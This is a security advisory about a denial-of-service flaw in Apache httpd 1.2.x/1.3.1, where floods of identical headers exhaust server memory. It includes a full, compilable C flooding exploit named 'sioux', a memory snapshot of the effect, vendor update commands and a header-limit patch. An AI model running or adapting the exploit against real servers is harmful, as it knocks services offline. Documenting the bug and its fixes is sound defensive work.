COMMAND

    httpd (Apache)

SYSTEMS AFFECTED

    Systems running Apache httpd

PROBLEM

    Mark Huizer found following.   There seems to be  a simple way  of
    badly DoSing any Apache server.   You can blow Apache through  the
    roof  by  sending  it  tons  of  headers  -  the  server's  memory
    consumption seems to be a  steep polynomial of the amount  of data
    you send it.  Below is a snapshot of top(1) about one minute after
    sent  to  testing   server  a  request   with  10,000  copies   of
    "User-Agent:  sioux\r\n"  (totalling  190,016 bytes of data).

    last pid: 29187;  load averages:  1.82,  1.06,  0.68                   18:21:36
    82 processes:  2 running, 80 sleeping
    CPU states: 93.5% user,  0.0% nice,  6.1% system,  0.4% interrupt,  0.0% idle
    Mem: 82M Active, 5692K Inact, 31M Wired, 4572K Cache, 8349K Buf, 616K Free
    Swap: 512M Total, 402M Used, 110M Free, 79% Inuse, 5412K In, 748K Out

      PID USERNAME PRI NICE  SIZE    RES STATE    TIME   WCPU    CPU COMMAND
    29176 www      -18   0   392M 85612K swread   0:57  6.83%  6.83% httpd

    Because the  names of  the headers  are all  the same,   they  are
    merged  in  Apache's  tables.   Each  time  they are merged, a new
    string is allocated with the  extra header tacked on the  end (eg.
    User-Agent: sioux  --> User-Agent:  sioux, sioux)  in the standard
    method of merging HTTP headers.   The memory usage you are  seeing
    comes  from  the  summation  from  1  to  10000 of the size of the
    string, which is ~50000000 copies of "sioux, " which is ~350 megs.
    Because of Apache's pool based memory structure, the memory  isn't
    freed in that loop,  so it grows.   There isn't actually a  memory
    leak,  just  a  huge  amount  of  memory  use  which has obviously
    negative impacts.

    Note that this was tested only  on Apache 1.2.5 and 1.2.6, not  on
    1.3.1. However, there is no mention of this bug in the change  log
    for 1.3.1, so  we'll assume it's  vulnerable.  Here's  the 'sploit
    for the script kiddies. It should compile cleanly and work on most
    Unices.

    FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
      gcc -o sioux sioux.c

    Solaris 2.5.1:
      gcc -o sioux sioux.c -lsocket -lnsl

    /*
     * Copyright (c) 1998 Dag-Erling Coïdan Smørgrav
     * All rights reserved.
     *
     * Redistribution and use in source and binary forms, with or without
     * modification, are permitted provided that the following conditions
     * are met:
     * 1. Redistributions of source code must retain the above copyright
     *    notice, this list of conditions and the following disclaimer
     *    in this position and unchanged.
     * 2. Redistributions in binary form must reproduce the above copyright
     *    notice, this list of conditions and the following disclaimer in the
     *    documentation and/or other materials provided with the distribution.
     * 3. The name of the author may not be used to endorse or promote products
     *    derived from this software withough specific prior written permission
     *
     * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
     * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
     * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
     * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
     * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
     * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
     * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     *
     */

    /*
     * Kudos to Mark Huizer who originally suggested this on freebsd-current
     */

    #include <sys/types.h>

    #include <sys/socket.h>
    #include <netinet/in.h>

    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    void
    usage(void)
    {
	fprintf(stderr, "usage: sioux [-a address] [-p port] [-n num]\n");
	exit(1);
    }

    int
    main(int argc, char *argv[])
    {
	struct sockaddr_in sin;
	struct hostent *he;
	FILE *f;
	int o, sd;

	/* default parameters */
	char *addr = "localhost";
	int port = 80;
	int num = 1000;

	/* get options */
	while ((o = getopt(argc, argv, "a:p:n:")) != EOF)
	    switch (o) {
	    case 'a':
		addr = optarg;
		break;
	    case 'p':
		port = atoi(optarg);
		break;
	    case 'n':
		num = atoi(optarg);
		break;
	    default:
		usage();
	    }

	if (argc != optind)
	    usage();

	/* connect */
	if ((he = gethostbyname(addr)) == NULL) {
	    perror("gethostbyname");
	    exit(1);
	}
	bzero(&sin, sizeof(sin));
	bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
	sin.sin_family = he->h_addrtype;
	sin.sin_port = htons(port);

	if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
	    perror("socket");
	    exit(1);
	}

	if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
	    perror("connect");
	    exit(1);
	}

	if ((f = fdopen(sd, "r+")) == NULL) {
	    perror("fdopen");
	    exit(1);
	}

	/* attack! */
	fprintf(stderr, "Going down like a plague of locusts on %s\n", addr);
	fprintf(f, "GET / HTTP/1.1\r\n");
	while (num-- && !ferror(f))
	    fprintf(f, "User-Agent: sioux\r\n");

	if (ferror(f)) {
	    perror("fprintf");
	    exit(1);
	}

	fclose(f);
	exit(0);
    }

    Jamie Orzechowski tried the sioux  bug on Website c2.3 for  NT and
    noticed in the processes that the CPU jumped upto 99%!

SOLUTION

    One workaround (that is a  good idea in general, anyway)  would be
    to set a ulimit on memory usage before starting Apache, which  can
    catch such  things easily  and quickly.   An official  fix will be
    available when  ready.

    A fix for TurboLinux 2.0 USA and 2.0 Japanese can be found at:

        ftp://ftp.pht.com/pub/turbolinux-2.0-updates/i386/apache-1.3.1-6TL.i386.rpm
        ftp://ftp.pht.com/pub/turbolinux-2.0-updates/SRPMS/apache-1.3.1-6TL.src.rpm

    Red Hat 5.0 and 5.1:

        rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/apache-1.2.6-5.i386.rpm
        rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/apache-1.2.6-5.alpha.rpm
        rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/apache-1.2.6-5.sparc.rpm

    Red Hat 4.2:

        rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/apache-1.2.5-0.1.i386.rpm
        rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/apache-1.2.5-0.1.alpha.rpm
        rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/apache-1.2.5-0.1.sparc.rpm

    Debian 2.0 and "slink":

        wget http://ftp1.us.debian.org/debian/security/apache_1.3.1-3_i386.deb
        wget http://ftp1.us.debian.org/debian/security/apache-common_1.3.1-3_i386.deb
        dpkg -B --install apache_1.3.1-3_i386.deb apache-common_1.3.1-3_i386.deb

        wget http://ftp1.us.debian.org/debian/security/apache_1.3.1-3_alpha.deb
        wget http://ftp1.us.debian.org/debian/security/apache-common_1.3.1-3_alpha.deb
        dpkg -B --install apache_1.3.1-3_alpha.deb apache-common_1.3.1-3_alpha.deb

        wget http://ftp1.us.debian.org/debian/security/apache-common_1.3.1-3_sparc.deb
        wget http://ftp1.us.debian.org/debian/security/apache_1.3.1-3_sparc.deb
        dpkg -B --install apache_1.3.1-3_sparc.deb apache-common_1.3.1-3_sparc.deb

    And  here's  a  band-aid  for  1.3.1. This (untested) patch should
    prevent the worst effects. A similar patch should work for 1.2.x.

    Index: http_protocol.c
    ===================================================================
    RCS file: /export/home/cvs/apache-1.3/src/main/http_protocol.c,v
    retrieving revision 1.229
    diff -u -r1.229 http_protocol.c
    --- http_protocol.c     1998/08/06 17:30:30     1.229
    +++ http_protocol.c     1998/08/07 23:02:56
    @@ -714,6 +714,7 @@
	 int len;
	 char *value;
	 char field[MAX_STRING_LEN];
    +    int nheaders=0;

	 /*
	  * Read header lines until we get the empty separator line, a read error,
    @@ -723,6 +724,11 @@
	     char *copy = ap_palloc(r->pool, len + 1);
	     memcpy(copy, field, len + 1);

    +        if(++nheaders == 100) {
    +           r->status = HTTP_BAD_REQUEST;
    +           return;
    +       }
    +
	     if (!(value = strchr(copy, ':'))) {     /* Find the colon separator */
		 r->status = HTTP_BAD_REQUEST;       /* or abort the bad request */
		 return;

    A similar version of this patch works against Apache 1.2.5.   RPMs
    for RedHat, Caldera, SuSE, TurboLinux, and other RPM-based systems
    are available at this location:

        http://www.samiam.org/blackdragon

    Patch for Apache 1.2.5 included.